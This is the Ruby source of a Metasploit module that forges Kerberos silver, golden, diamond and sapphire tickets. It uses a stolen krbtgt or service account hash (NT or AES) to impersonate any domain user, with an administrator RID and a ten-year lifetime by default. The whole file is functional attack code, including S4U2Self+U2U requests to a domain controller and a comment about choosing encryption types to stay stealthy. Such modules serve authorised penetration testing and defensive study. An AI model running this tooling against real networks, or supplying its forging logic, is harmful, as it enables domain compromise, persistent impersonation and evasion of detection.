Path: blob/master/modules/auxiliary/admin/kerberos/forge_ticket.rb
32442 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::Kerberos::Client8include Msf::Exploit::Remote::Kerberos::Ticket910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Kerberos Silver/Golden/Diamond/Sapphire Ticket Forging',15'Description' => %q{16This module forges a Kerberos ticket. Four different techniques can be used:17- Silver ticket: Using a service account hash, craft a ticket impersonating any user and privileges to that account.18- Golden ticket: Using the krbtgt hash, craft a ticket impersonating any user and privileges.19- Diamond ticket: Authenticate to the domain controller, and using the krbtgt hash, copy the PAC from the authenticated user to a forged ticket.20- Sapphire ticket: Use the S4U2Self+U2U trick to retrieve the PAC of another user, then use the krbtgt hash to craft a forged ticket.21},22'Author' => [23'Benjamin Delpy', # Original Implementation24'Dean Welch', # Metasploit Module25'alanfoster', # Enhancements26'smashery' # Enhancements27],28'References' => [29['URL', 'https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it'],30['ATT&CK', Mitre::Attack::Technique::T1558_001_GOLDEN_TICKET],31['ATT&CK', Mitre::Attack::Technique::T1558_002_SILVER_TICKET]32],33'License' => MSF_LICENSE,34'Notes' => {35'Stability' => [CRASH_SAFE],36'SideEffects' => [IOC_IN_LOGS],37'Reliability' => [],38'AKA' => ['Ticketer', 'Klist']39},40'Actions' => [41['FORGE_SILVER', { 'Description' => 'Forge a Silver Ticket' } ],42['FORGE_GOLDEN', { 'Description' => 'Forge a Golden Ticket' } ],43['FORGE_DIAMOND', { 'Description' => 'Forge a Diamond Ticket' } ],44['FORGE_SAPPHIRE', { 'Description' => 'Forge a Sapphire Ticket' } ],45],46'DefaultAction' => 'FORGE_SILVER'47)48)4950based_on_real_ticket_condition = ['ACTION', 'in', %w[FORGE_DIAMOND FORGE_SAPPHIRE]]51forged_manually_condition = ['ACTION', 'in', %w[FORGE_SILVER FORGE_GOLDEN]]5253register_options(54[55OptString.new('USER', [ true, 'The Domain User to forge the ticket for' ]),56OptInt.new('USER_RID', [ true, "The Domain User's relative identifier (RID)", Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID], conditions: ['ACTION', 'in', %w[FORGE_SILVER FORGE_GOLDEN FORGE_DIAMOND]]),57OptString.new('NTHASH', [ false, 'The krbtgt/service nthash' ]),58OptString.new('AES_KEY', [ false, 'The krbtgt/service AES key' ]),59OptString.new('DOMAIN', [ true, 'The Domain (upper case) Ex: DEMO.LOCAL' ]),60OptString.new('DOMAIN_SID', [ false, 'The Domain SID, Ex: S-1-5-21-1755879683-3641577184-3486455962'], conditions: forged_manually_condition),61OptString.new('EXTRA_SIDS', [ false, 'Extra sids separated by commas, Ex: S-1-5-21-1755879683-3641577184-3486455962-519']),62OptString.new('SPN', [ false, 'The Service Principal Name (Only used for silver ticket)'], conditions: %w[ACTION == FORGE_SILVER]),63OptInt.new('DURATION', [ false, 'Duration of the ticket in days', 3650], conditions: forged_manually_condition),64OptString.new('REQUEST_USER', [false, 'The user to request a ticket for, to base the forged ticket on'], conditions: based_on_real_ticket_condition),65OptString.new('REQUEST_PASSWORD', [false, "The user's password, used to retrieve a base ticket"], conditions: based_on_real_ticket_condition),66OptAddress.new('RHOSTS', [false, 'The address of the KDC' ], conditions: based_on_real_ticket_condition),67OptInt.new('RPORT', [false, "The KDC server's port", 88 ], conditions: based_on_real_ticket_condition),68OptInt.new('Timeout', [false, 'The TCP timeout to establish Kerberos connection and read data', 10], conditions: based_on_real_ticket_condition),69]70)7172register_advanced_options(73[74OptString.new('SessionKey', [ false, 'The session key, if not set - one will be generated' ], conditions: forged_manually_condition),75OptBool.new('IncludeTicketChecksum', [ false, 'Adds the Ticket Checksum to the PAC', false], conditions: forged_manually_condition)76]77)78end7980SECS_IN_DAY = 60 * 60 * 248182def run83case action.name84when 'FORGE_SILVER'85forge_silver86when 'FORGE_GOLDEN'87forge_golden88when 'FORGE_DIAMOND'89forge_diamond90when 'FORGE_SAPPHIRE'91forge_sapphire92else93fail_with(Msf::Module::Failure::BadConfig, "Invalid action #{action.name}")94end95end9697private9899def forge_ccache(sname:, flags:, is_golden:)100enc_key, enc_type = get_enc_key_and_type101102start_time = Time.now.utc103end_time = start_time + SECS_IN_DAY * datastore['DURATION']104105ccache = forge_ticket(106enc_key: enc_key,107enc_type: enc_type,108start_time: start_time,109end_time: end_time,110sname: sname,111flags: flags,112domain: datastore['DOMAIN'],113username: datastore['USER'],114user_id: datastore['USER_RID'],115domain_sid: datastore['DOMAIN_SID'],116extra_sids: extra_sids,117session_key: datastore['SessionKey'].blank? ? nil : datastore['SessionKey'].strip,118ticket_checksum: datastore['IncludeTicketChecksum'],119is_golden: is_golden120)121122Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ccache, framework_module: self)123124if datastore['VERBOSE']125print_ccache_contents(ccache, key: enc_key)126end127end128129def forge_silver130validate_spn!131validate_sid!132validate_key!133sname = datastore['SPN'].split('/', 2)134flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(tgs_flags)135forge_ccache(sname: sname, flags: flags, is_golden: false)136end137138def forge_golden139validate_sid!140validate_key!141sname = ['krbtgt', datastore['DOMAIN'].upcase]142flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(tgt_flags)143forge_ccache(sname: sname, flags: flags, is_golden: true)144end145146def forge_diamond147validate_remote148validate_aes256_key!149150begin151domain = datastore['DOMAIN']152options = {153server_name: "krbtgt/#{domain}",154client_name: datastore['REQUEST_USER'],155password: datastore['REQUEST_PASSWORD'],156realm: domain157}158enc_key, enc_type = get_enc_key_and_type159include_crypto_params(options, enc_key, enc_type)160161tgt_result = send_request_tgt(**options)162rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e163fail_with(Msf::Exploit::Failure::UnexpectedReply, "Requesting TGT failed: #{e.message}")164rescue Rex::HostUnreachable => e165fail_with(Msf::Exploit::Failure::Unreachable, "Requesting TGT failed: #{e.message}")166end167168if tgt_result.krb_enc_key[:enctype] != enc_type169fail_with(Msf::Exploit::Failure::UnexpectedReply, "Response has incorrect encryption type (#{tgt_result.krb_enc_key[:enctype]})")170end171172begin173ticket = modify_ticket(tgt_result.as_rep.ticket, tgt_result.decrypted_part, datastore['USER'], datastore['USER_RID'], datastore['DOMAIN'], extra_sids, enc_key, enc_type, enc_key, false)174rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError175fail_with(Msf::Exploit::Failure::BadConfig, 'Failed to modify ticket. krbtgt key is likely incorrect')176end177Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST'])178179if datastore['VERBOSE']180print_ccache_contents(ticket, key: enc_key)181end182end183184def forge_sapphire185validate_remote186validate_key!187options = {}188enc_key, enc_type = get_enc_key_and_type189include_crypto_params(options, enc_key, enc_type)190191begin192auth_context = kerberos_authenticator.authenticate_via_kdc(options)193rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e194fail_with(Msf::Exploit::Failure::UnexpectedReply, "Error authenticating to KDC: #{e}")195rescue Rex::HostUnreachable => e196fail_with(Msf::Exploit::Failure::Unreachable, "Requesting TGT failed: #{e.message}")197end198credential = auth_context[:credential]199200print_status("#{peer} - Using U2U to impersonate #{datastore['USER']}@#{datastore['DOMAIN']}")201202session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(203type: credential.keyblock.enctype.value,204value: credential.keyblock.data.value205)206207begin208tgs_ticket, tgs_auth = kerberos_authenticator.u2uself(credential, impersonate: datastore['USER'])209rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e210fail_with(Msf::Exploit::Failure::UnexpectedReply, "Error executing S4U2Self+U2U: #{e}")211rescue Rex::HostUnreachable => e212fail_with(Msf::Exploit::Failure::Unreachable, "Error executing S4U2Self+U2U: #{e.message}")213end214# Don't pass a user RID in: we'll retrieve it from the decrypted PAC215ticket = modify_ticket(tgs_ticket, tgs_auth, datastore['USER'], nil, datastore['DOMAIN'], extra_sids, session_key.value, enc_type, enc_key, true)216Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST'])217218if datastore['VERBOSE']219print_ccache_contents(ticket, key: enc_key)220end221end222223def validate_remote224if datastore['RHOSTS'].blank?225fail_with(Msf::Exploit::Failure::BadConfig, 'Must specify RHOSTS for sapphire and diamond tickets')226elsif datastore['REQUEST_USER'].blank?227fail_with(Msf::Exploit::Failure::BadConfig, 'Must specify REQUEST_USER for sapphire and diamond tickets')228end229end230231def kerberos_authenticator232options = {233host: datastore['RHOST'],234realm: datastore['DOMAIN'],235timeout: datastore['TIMEOUT'],236username: datastore['REQUEST_USER'],237password: datastore['REQUEST_PASSWORD'],238framework: framework,239framework_module: self,240ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::None.new241}242243Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)244end245246def include_crypto_params(options, enc_key, enc_type)247options[:key] = enc_key248if enc_type == Rex::Proto::Kerberos::Crypto::Encryption::AES256249# This should be the server's preferred encryption type, so we can just250# send our default types, expecting that to be selected. More stealthy this way.251options[:offered_etypes] = Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes252else253options[:offered_etypes] = [enc_type]254end255end256257def get_enc_key_and_type258enc_type = nil259key = nil260if datastore['NTHASH']261enc_type = Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC262key = datastore['NTHASH']263elsif datastore['AES_KEY']264key = datastore['AES_KEY']265if datastore['AES_KEY'].size == 64266enc_type = Rex::Proto::Kerberos::Crypto::Encryption::AES256267else268enc_type = Rex::Proto::Kerberos::Crypto::Encryption::AES128269end270end271272enc_key = key.nil? ? nil : [key].pack('H*')273[enc_key, enc_type]274end275276def validate_spn!277unless datastore['SPN'] =~ %r{.*/.*}278fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid SPN, must be in the format <service class>/<host><realm>:<port>/<service name>. Ex: cifs/host.realm.local')279end280end281282def validate_sid!283unless datastore['DOMAIN_SID'] =~ /^S-1-[0-59]-\d{2}/284fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid DOMAIN_SID. Ex: S-1-5-21-1266190811-2419310613-1856291569')285end286end287288def validate_aes256_key!289unless datastore['NTHASH'].blank?290fail_with(Msf::Exploit::Failure::BadConfig, 'Must set an AES256 key for diamond tickets (NTHASH is currently set)')291end292293if datastore['AES_KEY'].blank?294fail_with(Msf::Exploit::Failure::BadConfig, 'Must set an AES256 key for diamond tickets')295end296297if datastore['AES_KEY'].size == 32298fail_with(Msf::Exploit::Failure::BadConfig, 'Must set an AES256 key for diamond tickets (currently set to an AES128 key)')299end300301if datastore['AES_KEY'].size != 64302fail_with(Msf::Exploit::Failure::BadConfig, 'Must set an AES256 key for diamond tickets (incorrect length)')303end304end305306def validate_key!307if datastore['NTHASH'].blank? && datastore['AES_KEY'].blank?308fail_with(Msf::Exploit::Failure::BadConfig, 'NTHASH or AES_KEY must be set for forging a ticket')309elsif datastore['NTHASH'].present? && datastore['AES_KEY'].present?310fail_with(Msf::Exploit::Failure::BadConfig, 'NTHASH and AES_KEY may not both be set for forging a ticket')311end312313if datastore['NTHASH'].present? && datastore['NTHASH'].size != 32314fail_with(Msf::Exploit::Failure::BadConfig, "NTHASH length was #{datastore['NTHASH'].size} should be 32")315end316317if datastore['AES_KEY'].present? && datastore['AES_KEY'].size != 32 && datastore['AES_KEY'].size != 64318fail_with(Msf::Exploit::Failure::BadConfig, "AES key length was #{datastore['AES_KEY'].size} should be 32 or 64")319end320321if datastore['NTHASH'].present?322print_warning('Warning: newer Windows systems may not accept tickets encrypted with RC4_HMAC (NT hash). Consider using AES.')323end324end325326def extra_sids327(datastore['EXTRA_SIDS'] || '').split(',').map(&:strip).reject(&:blank?)328end329end330331332